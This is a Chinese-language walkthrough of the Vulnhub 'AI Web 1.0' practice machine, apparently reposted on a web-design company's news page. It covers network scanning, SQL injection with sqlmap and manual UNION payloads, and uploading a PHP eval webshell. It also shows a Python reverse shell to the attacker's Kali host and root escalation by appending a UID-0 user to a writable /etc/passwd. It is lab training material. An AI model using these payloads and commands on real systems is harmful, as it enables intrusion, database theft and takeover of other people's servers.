行业资讯
AI Web 1.0 Vulnhub靶机渗透(sqlmap操作+手注操作)
思路扫ip地址、开放服务和端口、扫描敏感目录文件找到注入点sqlmap跑或者手注上传一句话木马获取并反弹 shell升级为交互式最后提权一、找到靶机的IP地址先在Kali终端里操作自带 arp-scan 和 nmap 等工具也可以在 Windows 安装使用目的是从局域网里找出靶机的IP1. 先查看自己Kali的网段ifconfig解释查看本机IP地址找eth0或ens33网卡比如显示inet 192.168.10.128说明你的网段是192.168.10.0/24可以知道当前本机 IP 地址是192.168.75.137网段是192.168.75.0/242. 扫描同网段所有设备找靶机进入 root 权限执行下面命令arp-scan -l解释-l本地所有网段列出局域网里所有设备的IP和MAC地址怎么认靶机排除你自己的 IP、网关一般是.1或.2剩下的、MAC标注VMware的就是靶机IP得到靶机IP192.168.75.136 其他 3 个是固定的系统服务 IP其他工具与命令备用nmap -sn 192.168.75.0/24netdiscover -r 192.168.75.0/24二、端口和目录扫描摸清楚靶机有什么1. 扫描靶机开放的端口和服务nmap -sV -p- 192.168.75.136-sV探测每个开放端口上运行的软件名称和具体版本号是后续找漏洞的核心依据。-p-这-p 0-65535的简写代表扫描 0~65535 所有 TCP 端口。结果这个靶机只会开放80端口跑的是Apache网站服务2. 扫描网站的隐藏目录和文件用dirsearch扫网站里藏了哪些页面dirsearch -u http://192.168.75.136 -i 200解释-u指定要扫描的网站地址-i是--include的简写意为只保留、只显示后面跟要保留的 HTTP 状态码也可以用-e指定要找的文件后缀php脚本、txt文本、网页文件kali 里面没有自带 dirsearch 可以用dirbdirb http://192.168.75.136输出所有探测到的有效路径状态码200的结果发现只有 3 个但有价值的只有/robots.txt网站禁止爬虫的目录会泄露敏感路径3. 验证关键信息打开浏览器访问下面地址http://http://192.168.75.136/robots.txt能看到两行敏感目录/m3diNf0/和/se3reTdir777/uploads/我们已经可以猜测这个网站具有文件上传漏洞访问http://http://192.168.75.136/m3diNf0/提示禁止访问我们没有权限查看资源继续扫描http://http://192.168.75.136/m3diNf0/目录发现http://http://192.168.75.136/m3diNf0/info.php非常重要这是PHP探针页面访问网页在Apache Environment 页里找到DOCUMENT_ROOT文档根目录这一行后面的值就是网站在靶机里的绝对路径/home/www/html/web1x443290o2sdf92213/做好信息收集我们可以拼接robots.txt里的敏感路径/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/知道可以利用文件上传漏洞上传一句话木马shell.php访问robots.txt另一个页面http://192.168.75.136/se3reTdir777/这是一个带输入框的查询页面可能存在注入点三、SQL注入测试1. 验证注入点在页面输入框里测试输入1→ 点Submit正常显示用户信息输入1单引号→ 页面报错→ 结论这可能是单引号闭合的SQL注入漏洞可以sqlmap跑验证2. 用 burpsuite 抓包得到我们的请求包可以看到我们 post 提交的的数据uid1OperationSubmit这里就是我们的注入点用sqlmap跑或者进行我们的 sql 语句构造一先展示sqlmap操作sqlmap是专门跑SQL注入的工具直接一条命令就能验证漏洞sqlmap -u http://192.168.75.136/se3reTdir777/index.php --data uid1OperationSubmit --batch--dataPOST请求提交的参数就是输入框提交的内容跑成功会提示uid参数存在SQL注入数据库是MySQL。3. 跑出用户名和数据库名但都不是靶机的登录信息依次输入下列命令 可以得到数据库名、表名、脱库等sqlmap -u http://192.168.75.136/se3reTdir777/index.php --data uid1OperationSubmit --dbs --batch可以看到只有一个数据库aiweb1sqlmap -u http://192.168.75.136/se3reTdir777/index.php --data uid1OperationSubmit -D aiweb1 --tables --batch可以看到user表sqlmap -u http://192.168.75.136/se3reTdir777/index.php --data uid1OperationSubmit -D aiweb1 -T user --dump --batch但是经过测试都不能登录4. 拿到靶机的命令行os-shell既然登录不了先前根据信息也拼接出网站绝对路径考虑获取os-shellsqlmap -u http://192.168.75.136/se3reTdir777/index.php --data uid1OperationSubmit --os-shell执行后会有几步交互按下面选问用什么语言写shell → 输入5选PHP回车问上传路径选什么 → 输入2选自定义路径回车让输入路径 → 粘贴之前拼接的绝对路径补全上传目录/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/最后一定要加斜杠/代表是目录出现os-shell提示符就成功了验证一下权限在os-shell后面输入whoami返回www-data说明现在是低权限用户接下来要升级成管理员root5. 使用 Python 反弹 Shell获取稳定 Shellsqlmap 自带的os-shell虽然能执行基础命令但它属于非交互式的简陋 Shell功能、稳定性和兼容性都很差。用 Python 反弹 Shell是为了拿到一个更稳定、功能完整、支持终端交互的原生命令行环境是渗透测试从“拿到命令执行权”到“正式操作靶机”的标准流程。步骤 1Kali 攻击机开启端口监听打开新的终端窗口原有 os-shell 窗口不要关闭nc -lvnp 8899步骤 2在靶机 Shell 中执行反弹命令python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.75.137,8899));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);注意将 IP 替换为 Kali 本机 IP端口与监听端口保持一致。反弹 shell 成功6. 升级为交互式 Shell非交互式 Shell 无法执行su、vim等需要交互的命令如需手动升级先在 python 反弹 shell 中写入脚本echo import pty;pty.spawn(/bin/bash) /tmp/test.py然后运行python /tmp/test.py随意输入回车退出输入四、提权到 root 管理员这个靶机的提权漏洞系统密码文件/etc/passwd所有用户都能修改直接往里面加一个管理员账号就能登录成root1. 先验证漏洞存在在反弹 shell里输入ls -l /etc/passwd返回结果里会看到-rw-r--r--意思是 www-data(我) 能读写这个文件这就是漏洞2. 在Kali里生成加密密码打开一个新的Kali终端生成一个加密后的密码不能直接写明文密码进文件perl -le print crypt(123456,salt)Perl 的两个命令行参数合并写法-eexecute直接执行引号内的代码不需要写脚本文件--l自动给输出结果加换行符方便复制使用crypt()是 Perl 内置的加密函数用 DES 加密salt盐值作用是给加密算法加入随机干扰避免相同密码生成相同的加密结果防止彩虹表破解也可以使用下面的方式生成openssl passwd -1 123456passwd -1用MD5方式加密密码123456你自己设的密码随便写记得住就行3. 给靶机新增root用户回到反弹 shell 窗口输入下面的命令把加密字符串换成新生成的格式说明用户名:加密密码:UID:GID:备注:家目录:登录Shellecho test8:sahL5d5V.UWtI:0:0:User_like_root:/root:/bin/bash /etc/passwdtest8你新建的用户名随便起冒号后面第一串你刚才生成的加密密码两个0用户IDUID和组IDGID0 就是最高管理员root权限/root用户的家目录/bin/bash登录用的命令行追加内容到文件末尾⚠️绝对不能写成单个会把原文件覆盖靶机直接报废我复制代码进去报错手动输入就成功了可以看到输出成功4. 切换成root用户⚠️ 注意如果没有升级交互式 shell 要升级sqlmap的os-shell是简陋的非交互shell直接输su会卡执行完命令行就变成正常的bash了然后切换刚才新加的用户su test8输入密码123456回车验证身份whoami返回root提权成功五、拿到最终flag/root/flag.txt是行业默认标准路径几乎是所有 Vulnhub 靶机的统一规范直接读取root目录下的flag文件cat /root/flag.txt看到最终flag字符串靶机通关二下面是手注操作上传一句话木马蚁剑连接1. 判断列数构造语句查询列数发现有 3 列更大的报错uid1 order by 3 --OperationSubmit2. 利用联合查询上传一句话木马此处应该有注入出用户名和密码的步骤但是我们已经通过 sqlmap 跑通知道都是登录不了的我们已经知道了网站绝对路径构造 payload 语句1 union select 1,2,?php eval($_POST[cmd]);? into dumpfile /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php --上传成功访问可以看到信息3. 利用 websell 工具连接在蚁剑工具中输入我们上传的一句话木马地址输入构造的密码点击测试成功4. 提权为 root 用户1. 使用 Python 反弹 Shell获取稳定 Shell蚁剑自带的shell虽然能执行基础命令但它属于非交互式的简陋 Shell功能、稳定性和兼容性都很差。用 Python 反弹 Shell是为了拿到一个更稳定、功能完整、支持终端交互的原生命令行环境是渗透测试从“拿到命令执行权”到“正式操作靶机”的标准流程。步骤 1攻击机开启端口监听打开新的终端窗口原有 shell 窗口不要关闭执行监听脚本可以在网上找有很多或者使用nc效果一样的python listener步骤 2在靶机 Shell 中执行反弹命令 参考前文的或者在网上找有很多将反弹脚本拖入蚁剑中上传至靶机目录注意将 IP 替换为 Kali 本机 IP端口与监听端口保持一致。点击在此处打开终端输入命令执行python rev.py反弹成功2. 升级为交互式 Shell非交互式 Shell 无法执行su、vim等需要交互的命令如需手动升级先在 python 反弹 shell 中写入脚本echo import pty;pty.spawn(/bin/bash) /tmp/up.py然后运行python /tmp/up.py运行成功即可5. 提权到 root 管理员这个靶机的提权漏洞系统密码文件/etc/passwd所有用户都能修改直接往里面加一个管理员账号就能登录成root1. 先验证漏洞存在在反弹 shell里输入ls -l /etc/passwd-llong长格式参数显示文件完整详细信息返回结果里会看到-rw-r--r--意思是 www-data(我) 能读写这个文件这就是漏洞2. 生成加密密码可以打开一个新的Kali终端或直接在靶机反弹 shell 中生成一个加密后的密码不能直接写明文密码进文件perl -le print crypt(123456,salt)Perl 的两个命令行参数合并写法-eexecute直接执行引号内的代码不需要写脚本文件--l自动给输出结果加换行符方便复制使用crypt()是 Perl 内置的加密函数用 DES 加密salt盐值作用是给加密算法加入随机干扰避免相同密码生成相同的加密结果防止彩虹表破解也可以使用下面的方式生成目前更常用openssl passwd -1 123456passwd -1用MD5方式加密密码123456你自己设的密码随便写记得住就行执行后输出加密字符串$1$XRpr4PG1$EanSSfQDq7hk0DWve3mKn03. 给靶机新增root用户回到反弹 shell 窗口输入下面的命令把加密字符串换成新生成的格式说明用户名:加密密码:UID:GID:备注:家目录:登录Shellecho test9:sahL5d5V.UWtI:0:0:User_like_root:/root:/bin/bash /etc/passwdtest9你新建的用户名随便起冒号后面第一串你刚才生成的加密密码两个0用户IDUID和组IDGID0 就是最高管理员root权限/root用户的家目录/bin/bash登录用的命令行追加内容到文件末尾⚠️绝对不能写成单个会把原文件覆盖靶机直接报废4. 切换成root用户⚠️注意如果没有升级交互式 shell 要升级执行完命令行就变成正常的bash了然后切换刚才新加的用户su test9输入密码123456回车成功拿到 root 权限6. 拿到 flag/root/flag.txt是行业默认标准路径几乎是所有 Vulnhub 靶机的统一规范直接读取root目录下的flag文件cat /root/flag.txt
郑州网站建设
网页设计
企业官网